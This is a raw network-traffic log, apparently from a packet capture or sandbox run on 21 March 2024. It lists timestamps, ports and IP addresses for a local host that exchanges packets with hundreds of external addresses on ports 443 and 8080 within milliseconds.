Mar 21, 2024 05:21:09.897201061 CET	17297	443	192.168.2.14	210.166.37.102
Mar 21, 2024 05:21:09.897206068 CET	443	17297	210.166.37.102	192.168.2.14
Mar 21, 2024 05:21:09.897207022 CET	17297	443	192.168.2.14	42.166.80.123
Mar 21, 2024 05:21:09.897211075 CET	17297	443	192.168.2.14	42.75.250.99
Mar 21, 2024 05:21:09.897217035 CET	17297	443	192.168.2.14	2.25.87.130
Mar 21, 2024 05:21:09.897219896 CET	443	17297	42.75.250.99	192.168.2.14
Mar 21, 2024 05:21:09.897231102 CET	17297	443	192.168.2.14	79.139.64.227
Mar 21, 2024 05:21:09.897248983 CET	17297	443	192.168.2.14	210.166.37.102
Mar 21, 2024 05:21:09.897253036 CET	17297	443	192.168.2.14	42.75.250.99
Mar 21, 2024 05:21:09.897269964 CET	17297	443	192.168.2.14	118.171.195.115
Mar 21, 2024 05:21:09.897277117 CET	443	17297	118.171.195.115	192.168.2.14
Mar 21, 2024 05:21:09.897284031 CET	17297	443	192.168.2.14	178.68.153.79
Mar 21, 2024 05:21:09.897289038 CET	443	17297	178.68.153.79	192.168.2.14
Mar 21, 2024 05:21:09.897308111 CET	17297	443	192.168.2.14	42.168.220.224
Mar 21, 2024 05:21:09.897311926 CET	17297	443	192.168.2.14	118.171.195.115
Mar 21, 2024 05:21:09.897315025 CET	443	17297	42.168.220.224	192.168.2.14
Mar 21, 2024 05:21:09.897332907 CET	17297	443	192.168.2.14	178.68.153.79
Mar 21, 2024 05:21:09.897350073 CET	17297	443	192.168.2.14	42.168.220.224
Mar 21, 2024 05:21:09.897384882 CET	17297	443	192.168.2.14	79.48.85.194
Mar 21, 2024 05:21:09.897387981 CET	17297	443	192.168.2.14	5.153.44.27
Mar 21, 2024 05:21:09.897391081 CET	443	17297	79.48.85.194	192.168.2.14
Mar 21, 2024 05:21:09.897403955 CET	443	17297	5.153.44.27	192.168.2.14
Mar 21, 2024 05:21:09.897407055 CET	17297	443	192.168.2.14	79.148.223.89
Mar 21, 2024 05:21:09.897413015 CET	443	17297	79.148.223.89	192.168.2.14
Mar 21, 2024 05:21:09.897443056 CET	17297	443	192.168.2.14	79.48.85.194
Mar 21, 2024 05:21:09.897444010 CET	17297	443	192.168.2.14	5.153.44.27
Mar 21, 2024 05:21:09.897445917 CET	17297	443	192.168.2.14	79.148.223.89
Mar 21, 2024 05:21:09.897473097 CET	17297	443	192.168.2.14	79.121.113.139
Mar 21, 2024 05:21:09.897479057 CET	443	17297	79.121.113.139	192.168.2.14
Mar 21, 2024 05:21:09.897490025 CET	17297	443	192.168.2.14	94.248.200.55
Mar 21, 2024 05:21:09.897495985 CET	443	17297	94.248.200.55	192.168.2.14
Mar 21, 2024 05:21:09.897521973 CET	17297	443	192.168.2.14	79.121.113.139
Mar 21, 2024 05:21:09.897536039 CET	17297	443	192.168.2.14	79.24.47.167
Mar 21, 2024 05:21:09.897536039 CET	17297	443	192.168.2.14	94.248.200.55
Mar 21, 2024 05:21:09.897541046 CET	17297	443	192.168.2.14	5.95.201.207
Mar 21, 2024 05:21:09.897542953 CET	443	17297	79.24.47.167	192.168.2.14
Mar 21, 2024 05:21:09.897546053 CET	443	17297	5.95.201.207	192.168.2.14
Mar 21, 2024 05:21:09.897561073 CET	17297	443	192.168.2.14	94.237.218.32
Mar 21, 2024 05:21:09.897567034 CET	443	17297	94.237.218.32	192.168.2.14
Mar 21, 2024 05:21:09.897581100 CET	17297	443	192.168.2.14	79.24.47.167
Mar 21, 2024 05:21:09.897591114 CET	17297	443	192.168.2.14	5.95.201.207
Mar 21, 2024 05:21:09.897603989 CET	17297	443	192.168.2.14	94.237.218.32
Mar 21, 2024 05:21:09.897614002 CET	17297	443	192.168.2.14	37.12.173.167
Mar 21, 2024 05:21:09.897623062 CET	443	17297	37.12.173.167	192.168.2.14
Mar 21, 2024 05:21:09.897630930 CET	17297	443	192.168.2.14	94.174.66.255
Mar 21, 2024 05:21:09.897638083 CET	443	17297	94.174.66.255	192.168.2.14
Mar 21, 2024 05:21:09.897655010 CET	17297	443	192.168.2.14	2.208.0.212
Mar 21, 2024 05:21:09.897658110 CET	17297	443	192.168.2.14	37.12.173.167
Mar 21, 2024 05:21:09.897660017 CET	443	17297	2.208.0.212	192.168.2.14
Mar 21, 2024 05:21:09.897663116 CET	17297	443	192.168.2.14	109.65.239.26
Mar 21, 2024 05:21:09.897669077 CET	443	17297	109.65.239.26	192.168.2.14
Mar 21, 2024 05:21:09.897670031 CET	17297	443	192.168.2.14	94.174.66.255
Mar 21, 2024 05:21:09.897687912 CET	17297	443	192.168.2.14	79.197.231.245
Mar 21, 2024 05:21:09.897691965 CET	17297	443	192.168.2.14	2.208.0.212
Mar 21, 2024 05:21:09.897692919 CET	443	17297	79.197.231.245	192.168.2.14
Mar 21, 2024 05:21:09.897703886 CET	17297	443	192.168.2.14	109.65.239.26
Mar 21, 2024 05:21:09.897722006 CET	17297	443	192.168.2.14	94.247.4.239
Mar 21, 2024 05:21:09.897727966 CET	443	17297	94.247.4.239	192.168.2.14
Mar 21, 2024 05:21:09.897728920 CET	17297	443	192.168.2.14	79.197.231.245
Mar 21, 2024 05:21:09.897751093 CET	17297	443	192.168.2.14	79.67.247.157
Mar 21, 2024 05:21:09.897757053 CET	443	17297	79.67.247.157	192.168.2.14
Mar 21, 2024 05:21:09.897764921 CET	17297	443	192.168.2.14	94.247.4.239
Mar 21, 2024 05:21:09.897789955 CET	17297	443	192.168.2.14	79.67.247.157
Mar 21, 2024 05:21:09.897794008 CET	17297	443	192.168.2.14	212.185.127.3
Mar 21, 2024 05:21:09.897797108 CET	17297	443	192.168.2.14	118.94.144.202
Mar 21, 2024 05:21:09.897802114 CET	443	17297	212.185.127.3	192.168.2.14
Mar 21, 2024 05:21:09.897802114 CET	443	17297	118.94.144.202	192.168.2.14
Mar 21, 2024 05:21:09.897810936 CET	17297	443	192.168.2.14	42.185.60.87
Mar 21, 2024 05:21:09.897819042 CET	443	17297	42.185.60.87	192.168.2.14
Mar 21, 2024 05:21:09.897828102 CET	17297	443	192.168.2.14	79.52.16.37
Mar 21, 2024 05:21:09.897835016 CET	443	17297	79.52.16.37	192.168.2.14
Mar 21, 2024 05:21:09.897845030 CET	17297	443	192.168.2.14	212.185.127.3
Mar 21, 2024 05:21:09.897857904 CET	17297	443	192.168.2.14	118.94.144.202
Mar 21, 2024 05:21:09.897870064 CET	17297	443	192.168.2.14	42.185.60.87
Mar 21, 2024 05:21:09.897885084 CET	17297	443	192.168.2.14	79.52.16.37
Mar 21, 2024 05:21:09.897906065 CET	17297	443	192.168.2.14	118.42.92.61
Mar 21, 2024 05:21:09.897912025 CET	443	17297	118.42.92.61	192.168.2.14
Mar 21, 2024 05:21:09.897917032 CET	17297	443	192.168.2.14	37.105.77.168
Mar 21, 2024 05:21:09.897927999 CET	443	17297	37.105.77.168	192.168.2.14
Mar 21, 2024 05:21:09.897934914 CET	17297	443	192.168.2.14	94.107.169.9
Mar 21, 2024 05:21:09.897939920 CET	17297	443	192.168.2.14	178.38.80.24
Mar 21, 2024 05:21:09.897941113 CET	443	17297	94.107.169.9	192.168.2.14
Mar 21, 2024 05:21:09.897943974 CET	17297	443	192.168.2.14	118.42.92.61
Mar 21, 2024 05:21:09.897945881 CET	443	17297	178.38.80.24	192.168.2.14
Mar 21, 2024 05:21:09.897969007 CET	17297	443	192.168.2.14	94.107.169.9
Mar 21, 2024 05:21:09.897972107 CET	17297	443	192.168.2.14	37.105.77.168
Mar 21, 2024 05:21:09.897984028 CET	17297	443	192.168.2.14	178.38.80.24
Mar 21, 2024 05:21:09.898003101 CET	17297	443	192.168.2.14	2.33.249.97
Mar 21, 2024 05:21:09.898005009 CET	17297	443	192.168.2.14	178.236.55.128
Mar 21, 2024 05:21:09.898008108 CET	443	17297	2.33.249.97	192.168.2.14
Mar 21, 2024 05:21:09.898014069 CET	443	17297	178.236.55.128	192.168.2.14
Mar 21, 2024 05:21:09.898022890 CET	17297	443	192.168.2.14	109.60.42.77
Mar 21, 2024 05:21:09.898027897 CET	443	17297	109.60.42.77	192.168.2.14
Mar 21, 2024 05:21:09.898041964 CET	17297	443	192.168.2.14	109.64.40.3
Mar 21, 2024 05:21:09.898046970 CET	17297	443	192.168.2.14	178.236.55.128
Mar 21, 2024 05:21:09.898049116 CET	443	17297	109.64.40.3	192.168.2.14
Mar 21, 2024 05:21:09.898067951 CET	17297	443	192.168.2.14	2.33.249.97
Mar 21, 2024 05:21:09.898076057 CET	17297	443	192.168.2.14	109.60.42.77
Mar 21, 2024 05:21:09.898080111 CET	17297	443	192.168.2.14	109.64.40.3
Mar 21, 2024 05:21:09.898094893 CET	17297	443	192.168.2.14	94.212.179.119
Mar 21, 2024 05:21:09.898101091 CET	443	17297	94.212.179.119	192.168.2.14
Mar 21, 2024 05:21:09.898109913 CET	17297	443	192.168.2.14	178.241.194.56
Mar 21, 2024 05:21:09.898116112 CET	443	17297	178.241.194.56	192.168.2.14
Mar 21, 2024 05:21:09.898128033 CET	17297	443	192.168.2.14	178.157.229.128
Mar 21, 2024 05:21:09.898139000 CET	443	17297	178.157.229.128	192.168.2.14
Mar 21, 2024 05:21:09.898148060 CET	17297	443	192.168.2.14	94.212.179.119
Mar 21, 2024 05:21:09.898155928 CET	17297	443	192.168.2.14	178.241.194.56
Mar 21, 2024 05:21:09.898170948 CET	17297	443	192.168.2.14	178.157.229.128
Mar 21, 2024 05:21:09.898170948 CET	17297	443	192.168.2.14	210.37.189.171
Mar 21, 2024 05:21:09.898174047 CET	17297	443	192.168.2.14	210.241.239.141
Mar 21, 2024 05:21:09.898180962 CET	443	17297	210.241.239.141	192.168.2.14
Mar 21, 2024 05:21:09.898183107 CET	443	17297	210.37.189.171	192.168.2.14
Mar 21, 2024 05:21:09.898185968 CET	17297	443	192.168.2.14	94.19.211.160
Mar 21, 2024 05:21:09.898194075 CET	443	17297	94.19.211.160	192.168.2.14
Mar 21, 2024 05:21:09.898195982 CET	17297	443	192.168.2.14	118.38.124.216
Mar 21, 2024 05:21:09.898200989 CET	443	17297	118.38.124.216	192.168.2.14
Mar 21, 2024 05:21:09.898202896 CET	17297	443	192.168.2.14	118.45.119.4
Mar 21, 2024 05:21:09.898207903 CET	443	17297	118.45.119.4	192.168.2.14
Mar 21, 2024 05:21:09.898209095 CET	17297	443	192.168.2.14	118.60.118.180
Mar 21, 2024 05:21:09.898214102 CET	17297	443	192.168.2.14	210.37.189.171
Mar 21, 2024 05:21:09.898216009 CET	443	17297	118.60.118.180	192.168.2.14
Mar 21, 2024 05:21:09.898221970 CET	17297	443	192.168.2.14	210.241.239.141
Mar 21, 2024 05:21:09.898225069 CET	17297	443	192.168.2.14	94.19.211.160
Mar 21, 2024 05:21:09.898232937 CET	17297	443	192.168.2.14	118.38.124.216
Mar 21, 2024 05:21:09.898242950 CET	17297	443	192.168.2.14	118.45.119.4
Mar 21, 2024 05:21:09.898255110 CET	17297	443	192.168.2.14	118.60.118.180
Mar 21, 2024 05:21:09.898272991 CET	17297	443	192.168.2.14	5.151.71.41
Mar 21, 2024 05:21:09.898277998 CET	443	17297	5.151.71.41	192.168.2.14
Mar 21, 2024 05:21:09.898292065 CET	17297	443	192.168.2.14	178.57.145.143
Mar 21, 2024 05:21:09.898292065 CET	17297	443	192.168.2.14	37.76.183.36
Mar 21, 2024 05:21:09.898298025 CET	17297	443	192.168.2.14	79.76.231.188
Mar 21, 2024 05:21:09.898298979 CET	443	17297	178.57.145.143	192.168.2.14
Mar 21, 2024 05:21:09.898303986 CET	443	17297	79.76.231.188	192.168.2.14
Mar 21, 2024 05:21:09.898313999 CET	443	17297	37.76.183.36	192.168.2.14
Mar 21, 2024 05:21:09.898319960 CET	17297	443	192.168.2.14	5.151.71.41
Mar 21, 2024 05:21:09.898324013 CET	17297	443	192.168.2.14	109.101.62.217
Mar 21, 2024 05:21:09.898324013 CET	17297	443	192.168.2.14	118.159.39.50
Mar 21, 2024 05:21:09.898328066 CET	17297	443	192.168.2.14	212.241.33.198
Mar 21, 2024 05:21:09.898330927 CET	443	17297	109.101.62.217	192.168.2.14
Mar 21, 2024 05:21:09.898333073 CET	443	17297	212.241.33.198	192.168.2.14
Mar 21, 2024 05:21:09.898344040 CET	443	17297	118.159.39.50	192.168.2.14
Mar 21, 2024 05:21:09.898349047 CET	17297	443	192.168.2.14	178.57.145.143
Mar 21, 2024 05:21:09.898349047 CET	17297	443	192.168.2.14	37.76.183.36
Mar 21, 2024 05:21:09.898360014 CET	17297	443	192.168.2.14	79.76.231.188
Mar 21, 2024 05:21:09.898381948 CET	17297	443	192.168.2.14	212.241.33.198
Mar 21, 2024 05:21:09.898399115 CET	17297	443	192.168.2.14	109.101.62.217
Mar 21, 2024 05:21:09.898405075 CET	17297	443	192.168.2.14	118.159.39.50
Mar 21, 2024 05:21:09.898423910 CET	17297	443	192.168.2.14	42.168.70.117
Mar 21, 2024 05:21:09.898430109 CET	443	17297	42.168.70.117	192.168.2.14
Mar 21, 2024 05:21:09.898439884 CET	17297	443	192.168.2.14	79.172.196.173
Mar 21, 2024 05:21:09.898444891 CET	443	17297	79.172.196.173	192.168.2.14
Mar 21, 2024 05:21:09.898463964 CET	17297	443	192.168.2.14	42.168.70.117
Mar 21, 2024 05:21:09.898468971 CET	17297	443	192.168.2.14	79.172.196.173
Mar 21, 2024 05:21:09.898471117 CET	17297	443	192.168.2.14	37.56.238.44
Mar 21, 2024 05:21:09.898474932 CET	17297	443	192.168.2.14	118.164.102.204
Mar 21, 2024 05:21:09.898478985 CET	443	17297	37.56.238.44	192.168.2.14
Mar 21, 2024 05:21:09.898479939 CET	443	17297	118.164.102.204	192.168.2.14
Mar 21, 2024 05:21:09.898487091 CET	17297	443	192.168.2.14	42.132.204.136
Mar 21, 2024 05:21:09.898493052 CET	443	17297	42.132.204.136	192.168.2.14
Mar 21, 2024 05:21:09.898494959 CET	17297	443	192.168.2.14	79.138.9.105
Mar 21, 2024 05:21:09.898500919 CET	443	17297	79.138.9.105	192.168.2.14
Mar 21, 2024 05:21:09.898513079 CET	17297	443	192.168.2.14	212.241.27.177
Mar 21, 2024 05:21:09.898519039 CET	443	17297	212.241.27.177	192.168.2.14
Mar 21, 2024 05:21:09.898520947 CET	17297	443	192.168.2.14	42.132.204.136
Mar 21, 2024 05:21:09.898528099 CET	17297	443	192.168.2.14	37.56.238.44
Mar 21, 2024 05:21:09.898530960 CET	17297	443	192.168.2.14	79.138.9.105
Mar 21, 2024 05:21:09.898534060 CET	17297	443	192.168.2.14	118.164.102.204
Mar 21, 2024 05:21:09.898555994 CET	17297	443	192.168.2.14	212.241.27.177
Mar 21, 2024 05:21:09.898578882 CET	17297	443	192.168.2.14	109.167.103.191
Mar 21, 2024 05:21:09.898585081 CET	443	17297	109.167.103.191	192.168.2.14
Mar 21, 2024 05:21:09.898586988 CET	17297	443	192.168.2.14	178.242.145.87
Mar 21, 2024 05:21:09.898592949 CET	443	17297	178.242.145.87	192.168.2.14
Mar 21, 2024 05:21:09.898600101 CET	17297	443	192.168.2.14	37.14.232.146
Mar 21, 2024 05:21:09.898606062 CET	443	17297	37.14.232.146	192.168.2.14
Mar 21, 2024 05:21:09.898618937 CET	17297	443	192.168.2.14	109.167.103.191
Mar 21, 2024 05:21:09.898628950 CET	17297	443	192.168.2.14	178.242.145.87
Mar 21, 2024 05:21:09.898644924 CET	17297	443	192.168.2.14	37.14.232.146
Mar 21, 2024 05:21:09.898667097 CET	17297	443	192.168.2.14	94.72.62.12
Mar 21, 2024 05:21:09.898673058 CET	443	17297	94.72.62.12	192.168.2.14
Mar 21, 2024 05:21:09.898677111 CET	17297	443	192.168.2.14	212.136.91.76
Mar 21, 2024 05:21:09.898683071 CET	443	17297	212.136.91.76	192.168.2.14
Mar 21, 2024 05:21:09.898695946 CET	17297	443	192.168.2.14	118.163.158.102
Mar 21, 2024 05:21:09.898701906 CET	443	17297	118.163.158.102	192.168.2.14
Mar 21, 2024 05:21:09.898700953 CET	17297	443	192.168.2.14	37.48.188.240
Mar 21, 2024 05:21:09.898709059 CET	443	17297	37.48.188.240	192.168.2.14
Mar 21, 2024 05:21:09.898721933 CET	17297	443	192.168.2.14	94.72.62.12
Mar 21, 2024 05:21:09.898726940 CET	17297	443	192.168.2.14	212.136.91.76
Mar 21, 2024 05:21:09.898730040 CET	17297	443	192.168.2.14	118.163.158.102
Mar 21, 2024 05:21:09.898734093 CET	17297	443	192.168.2.14	37.48.188.240
Mar 21, 2024 05:21:09.898750067 CET	17297	443	192.168.2.14	5.251.105.30
Mar 21, 2024 05:21:09.898756027 CET	443	17297	5.251.105.30	192.168.2.14
Mar 21, 2024 05:21:09.898758888 CET	17297	443	192.168.2.14	37.104.146.194
Mar 21, 2024 05:21:09.898765087 CET	443	17297	37.104.146.194	192.168.2.14
Mar 21, 2024 05:21:09.898766041 CET	17297	443	192.168.2.14	109.141.29.241
Mar 21, 2024 05:21:09.898772001 CET	443	17297	109.141.29.241	192.168.2.14
Mar 21, 2024 05:21:09.898782015 CET	17297	443	192.168.2.14	79.41.187.152
Mar 21, 2024 05:21:09.898787022 CET	443	17297	79.41.187.152	192.168.2.14
Mar 21, 2024 05:21:09.898798943 CET	17297	443	192.168.2.14	5.251.105.30
Mar 21, 2024 05:21:09.898807049 CET	17297	443	192.168.2.14	37.104.146.194
Mar 21, 2024 05:21:09.898808956 CET	17297	443	192.168.2.14	109.141.29.241
Mar 21, 2024 05:21:09.898824930 CET	17297	443	192.168.2.14	79.41.187.152
Mar 21, 2024 05:21:09.898842096 CET	17297	443	192.168.2.14	5.71.63.197
Mar 21, 2024 05:21:09.898853064 CET	17297	443	192.168.2.14	94.62.42.179
Mar 21, 2024 05:21:09.898853064 CET	443	17297	5.71.63.197	192.168.2.14
Mar 21, 2024 05:21:09.898858070 CET	443	17297	94.62.42.179	192.168.2.14
Mar 21, 2024 05:21:09.898866892 CET	17297	443	192.168.2.14	178.163.196.215
Mar 21, 2024 05:21:09.898873091 CET	443	17297	178.163.196.215	192.168.2.14
Mar 21, 2024 05:21:09.898894072 CET	17297	443	192.168.2.14	94.62.42.179
Mar 21, 2024 05:21:09.898904085 CET	17297	443	192.168.2.14	178.163.196.215
Mar 21, 2024 05:21:09.898905993 CET	17297	443	192.168.2.14	5.71.63.197
Mar 21, 2024 05:21:09.898914099 CET	17297	443	192.168.2.14	2.7.194.39
Mar 21, 2024 05:21:09.898920059 CET	443	17297	2.7.194.39	192.168.2.14
Mar 21, 2024 05:21:09.898924112 CET	17297	443	192.168.2.14	37.71.237.212
Mar 21, 2024 05:21:09.898929119 CET	443	17297	37.71.237.212	192.168.2.14
Mar 21, 2024 05:21:09.898938894 CET	17297	443	192.168.2.14	2.102.20.250
Mar 21, 2024 05:21:09.898943901 CET	443	17297	2.102.20.250	192.168.2.14
Mar 21, 2024 05:21:09.898952007 CET	17297	443	192.168.2.14	2.7.194.39
Mar 21, 2024 05:21:09.898956060 CET	17297	443	192.168.2.14	37.71.237.212
Mar 21, 2024 05:21:09.898972988 CET	17297	443	192.168.2.14	37.12.224.64
Mar 21, 2024 05:21:09.898978949 CET	443	17297	37.12.224.64	192.168.2.14
Mar 21, 2024 05:21:09.898978949 CET	17297	443	192.168.2.14	2.102.20.250
Mar 21, 2024 05:21:09.899007082 CET	17297	443	192.168.2.14	37.12.224.64
Mar 21, 2024 05:21:09.899019003 CET	17297	443	192.168.2.14	118.221.208.37
Mar 21, 2024 05:21:09.899024010 CET	443	17297	118.221.208.37	192.168.2.14
Mar 21, 2024 05:21:09.899029016 CET	17297	443	192.168.2.14	210.201.181.253
Mar 21, 2024 05:21:09.899034023 CET	443	17297	210.201.181.253	192.168.2.14
Mar 21, 2024 05:21:09.899049997 CET	17297	443	192.168.2.14	37.49.20.115
Mar 21, 2024 05:21:09.899055958 CET	17297	443	192.168.2.14	118.221.208.37
Mar 21, 2024 05:21:09.899055958 CET	443	17297	37.49.20.115	192.168.2.14
Mar 21, 2024 05:21:09.899065018 CET	17297	443	192.168.2.14	210.201.181.253
Mar 21, 2024 05:21:09.899087906 CET	17297	443	192.168.2.14	37.49.20.115
Mar 21, 2024 05:21:09.899100065 CET	17297	443	192.168.2.14	210.140.205.30
Mar 21, 2024 05:21:09.899106026 CET	443	17297	210.140.205.30	192.168.2.14
Mar 21, 2024 05:21:09.899120092 CET	17297	443	192.168.2.14	37.118.84.119
Mar 21, 2024 05:21:09.899125099 CET	17297	443	192.168.2.14	2.25.51.96
Mar 21, 2024 05:21:09.899131060 CET	443	17297	2.25.51.96	192.168.2.14
Mar 21, 2024 05:21:09.899131060 CET	443	17297	37.118.84.119	192.168.2.14
Mar 21, 2024 05:21:09.899142027 CET	17297	443	192.168.2.14	210.140.205.30
Mar 21, 2024 05:21:09.899166107 CET	17297	443	192.168.2.14	5.189.150.198
Mar 21, 2024 05:21:09.899171114 CET	443	17297	5.189.150.198	192.168.2.14
Mar 21, 2024 05:21:09.899172068 CET	17297	443	192.168.2.14	2.25.51.96
Mar 21, 2024 05:21:09.899188042 CET	17297	443	192.168.2.14	2.229.92.113
Mar 21, 2024 05:21:09.899194002 CET	443	17297	2.229.92.113	192.168.2.14
Mar 21, 2024 05:21:09.899202108 CET	17297	443	192.168.2.14	5.189.150.198
Mar 21, 2024 05:21:09.899210930 CET	17297	443	192.168.2.14	94.255.125.14
Mar 21, 2024 05:21:09.899210930 CET	17297	443	192.168.2.14	37.118.84.119
Mar 21, 2024 05:21:09.899215937 CET	443	17297	94.255.125.14	192.168.2.14
Mar 21, 2024 05:21:09.899236917 CET	17297	443	192.168.2.14	2.229.92.113
Mar 21, 2024 05:21:09.899250984 CET	17297	443	192.168.2.14	94.255.125.14
Mar 21, 2024 05:21:09.899267912 CET	17297	443	192.168.2.14	94.57.176.227
Mar 21, 2024 05:21:09.899275064 CET	443	17297	94.57.176.227	192.168.2.14
Mar 21, 2024 05:21:09.899279118 CET	17297	443	192.168.2.14	118.254.226.109
Mar 21, 2024 05:21:09.899285078 CET	443	17297	118.254.226.109	192.168.2.14
Mar 21, 2024 05:21:09.899296045 CET	17297	443	192.168.2.14	94.44.17.138
Mar 21, 2024 05:21:09.899302006 CET	443	17297	94.44.17.138	192.168.2.14
Mar 21, 2024 05:21:09.899316072 CET	17297	443	192.168.2.14	94.57.176.227
Mar 21, 2024 05:21:09.899327040 CET	17297	443	192.168.2.14	118.254.226.109
Mar 21, 2024 05:21:09.899339914 CET	17297	443	192.168.2.14	94.44.17.138
Mar 21, 2024 05:21:09.899357080 CET	17297	443	192.168.2.14	94.21.201.160
Mar 21, 2024 05:21:09.899362087 CET	443	17297	94.21.201.160	192.168.2.14
Mar 21, 2024 05:21:09.899367094 CET	17297	443	192.168.2.14	2.79.130.59
Mar 21, 2024 05:21:09.899373055 CET	443	17297	2.79.130.59	192.168.2.14
Mar 21, 2024 05:21:09.899380922 CET	17297	443	192.168.2.14	210.26.106.59
Mar 21, 2024 05:21:09.899388075 CET	443	17297	210.26.106.59	192.168.2.14
Mar 21, 2024 05:21:09.899400949 CET	17297	443	192.168.2.14	94.21.201.160
Mar 21, 2024 05:21:09.899410963 CET	17297	443	192.168.2.14	210.10.128.235
Mar 21, 2024 05:21:09.899410963 CET	17306	8080	192.168.2.14	124.216.133.137
Mar 21, 2024 05:21:09.899414062 CET	17297	443	192.168.2.14	210.26.106.59
Mar 21, 2024 05:21:09.899420023 CET	443	17297	210.10.128.235	192.168.2.14
Mar 21, 2024 05:21:09.899420023 CET	17297	443	192.168.2.14	2.79.130.59
Mar 21, 2024 05:21:09.899437904 CET	17306	8080	192.168.2.14	41.92.42.181
Mar 21, 2024 05:21:09.899441004 CET	17297	443	192.168.2.14	212.99.88.173
Mar 21, 2024 05:21:09.899447918 CET	443	17297	212.99.88.173	192.168.2.14
Mar 21, 2024 05:21:09.899452925 CET	17306	8080	192.168.2.14	44.220.158.155
Mar 21, 2024 05:21:09.899456024 CET	17306	8080	192.168.2.14	32.78.64.55
Mar 21, 2024 05:21:09.899466991 CET	17306	8080	192.168.2.14	52.248.41.144
Mar 21, 2024 05:21:09.899466991 CET	17297	443	192.168.2.14	210.10.128.235
Mar 21, 2024 05:21:09.899482965 CET	17297	443	192.168.2.14	212.99.88.173
Mar 21, 2024 05:21:09.899482965 CET	17297	443	192.168.2.14	79.131.1.43
Mar 21, 2024 05:21:09.899494886 CET	443	17297	79.131.1.43	192.168.2.14
Mar 21, 2024 05:21:09.899499893 CET	17297	443	192.168.2.14	94.15.200.160
Mar 21, 2024 05:21:09.899506092 CET	443	17297	94.15.200.160	192.168.2.14
Mar 21, 2024 05:21:09.899507046 CET	17297	443	192.168.2.14	2.5.191.109
Mar 21, 2024 05:21:09.899513006 CET	443	17297	2.5.191.109	192.168.2.14
Mar 21, 2024 05:21:09.899527073 CET	17297	443	192.168.2.14	42.54.91.103
Mar 21, 2024 05:21:09.899532080 CET	443	17297	42.54.91.103	192.168.2.14
Mar 21, 2024 05:21:09.899537086 CET	17297	443	192.168.2.14	94.15.200.160
Mar 21, 2024 05:21:09.899540901 CET	17297	443	192.168.2.14	79.131.1.43
Mar 21, 2024 05:21:09.899547100 CET	17297	443	192.168.2.14	2.5.191.109
Mar 21, 2024 05:21:09.899565935 CET	17297	443	192.168.2.14	42.54.91.103
Mar 21, 2024 05:21:09.899575949 CET	17297	443	192.168.2.14	178.179.168.146
Mar 21, 2024 05:21:09.899580956 CET	443	17297	178.179.168.146	192.168.2.14
Mar 21, 2024 05:21:09.899593115 CET	17297	443	192.168.2.14	79.81.226.254
Mar 21, 2024 05:21:09.899599075 CET	443	17297	79.81.226.254	192.168.2.14
Mar 21, 2024 05:21:09.899604082 CET	17297	443	192.168.2.14	2.223.246.124
Mar 21, 2024 05:21:09.899610043 CET	443	17297	2.223.246.124	192.168.2.14
Mar 21, 2024 05:21:09.899615049 CET	17297	443	192.168.2.14	178.179.168.146
Mar 21, 2024 05:21:09.899630070 CET	17297	443	192.168.2.14	79.81.226.254
Mar 21, 2024 05:21:09.899635077 CET	17297	443	192.168.2.14	37.221.90.88
Mar 21, 2024 05:21:09.899638891 CET	17297	443	192.168.2.14	118.160.160.133
Mar 21, 2024 05:21:09.899641991 CET	443	17297	37.221.90.88	192.168.2.14
Mar 21, 2024 05:21:09.899645090 CET	443	17297	118.160.160.133	192.168.2.14
Mar 21, 2024 05:21:09.899655104 CET	17297	443	192.168.2.14	2.223.246.124
Mar 21, 2024 05:21:09.899672031 CET	17297	443	192.168.2.14	37.221.90.88
Mar 21, 2024 05:21:09.899677038 CET	17297	443	192.168.2.14	109.20.21.115
Mar 21, 2024 05:21:09.899682045 CET	443	17297	109.20.21.115	192.168.2.14
Mar 21, 2024 05:21:09.899688005 CET	17297	443	192.168.2.14	118.160.160.133
Mar 21, 2024 05:21:09.899693966 CET	17306	8080	192.168.2.14	164.52.188.134
Mar 21, 2024 05:21:09.899710894 CET	17306	8080	192.168.2.14	112.167.180.125
Mar 21, 2024 05:21:09.899713039 CET	17297	443	192.168.2.14	109.20.21.115
Mar 21, 2024 05:21:09.899734974 CET	17297	443	192.168.2.14	118.123.124.184
Mar 21, 2024 05:21:09.899736881 CET	17306	8080	192.168.2.14	150.124.79.84
Mar 21, 2024 05:21:09.899734974 CET	17306	8080	192.168.2.14	208.246.154.195
Mar 21, 2024 05:21:09.899739981 CET	17306	8080	192.168.2.14	170.57.59.54
Mar 21, 2024 05:21:09.899739981 CET	17306	8080	192.168.2.14	82.127.102.166
Mar 21, 2024 05:21:09.899744987 CET	443	17297	118.123.124.184	192.168.2.14
Mar 21, 2024 05:21:09.899744987 CET	17297	443	192.168.2.14	5.237.233.216
Mar 21, 2024 05:21:09.899749994 CET	17306	8080	192.168.2.14	213.162.188.28
Mar 21, 2024 05:21:09.899750948 CET	443	17297	5.237.233.216	192.168.2.14
Mar 21, 2024 05:21:09.899759054 CET	17306	8080	192.168.2.14	77.213.73.129
Mar 21, 2024 05:21:09.899760008 CET	17297	443	192.168.2.14	210.251.153.125
Mar 21, 2024 05:21:09.899760962 CET	17297	443	192.168.2.14	109.224.69.239
Mar 21, 2024 05:21:09.899760962 CET	17297	443	192.168.2.14	5.126.238.201
Mar 21, 2024 05:21:09.899760962 CET	17297	443	192.168.2.14	79.36.243.74
Mar 21, 2024 05:21:09.899765015 CET	17297	443	192.168.2.14	79.175.134.53
Mar 21, 2024 05:21:09.899765968 CET	443	17297	210.251.153.125	192.168.2.14
Mar 21, 2024 05:21:09.899765968 CET	443	17297	109.224.69.239	192.168.2.14
Mar 21, 2024 05:21:09.899769068 CET	17306	8080	192.168.2.14	109.98.31.95
Mar 21, 2024 05:21:09.899770975 CET	443	17297	79.175.134.53	192.168.2.14
Mar 21, 2024 05:21:09.899772882 CET	443	17297	5.126.238.201	192.168.2.14
Mar 21, 2024 05:21:09.899776936 CET	443	17297	79.36.243.74	192.168.2.14
Mar 21, 2024 05:21:09.899777889 CET	17297	443	192.168.2.14	118.123.124.184
Mar 21, 2024 05:21:09.899779081 CET	17297	443	192.168.2.14	2.240.171.0
Mar 21, 2024 05:21:09.899784088 CET	17297	443	192.168.2.14	5.237.233.216
Mar 21, 2024 05:21:09.899785042 CET	443	17297	2.240.171.0	192.168.2.14
Mar 21, 2024 05:21:09.899800062 CET	17297	443	192.168.2.14	210.251.153.125
Mar 21, 2024 05:21:09.899806023 CET	17297	443	192.168.2.14	5.126.238.201
Mar 21, 2024 05:21:09.899806976 CET	17297	443	192.168.2.14	109.224.69.239
Mar 21, 2024 05:21:09.899810076 CET	17297	443	192.168.2.14	2.240.171.0
Mar 21, 2024 05:21:09.899813890 CET	17297	443	192.168.2.14	79.175.134.53
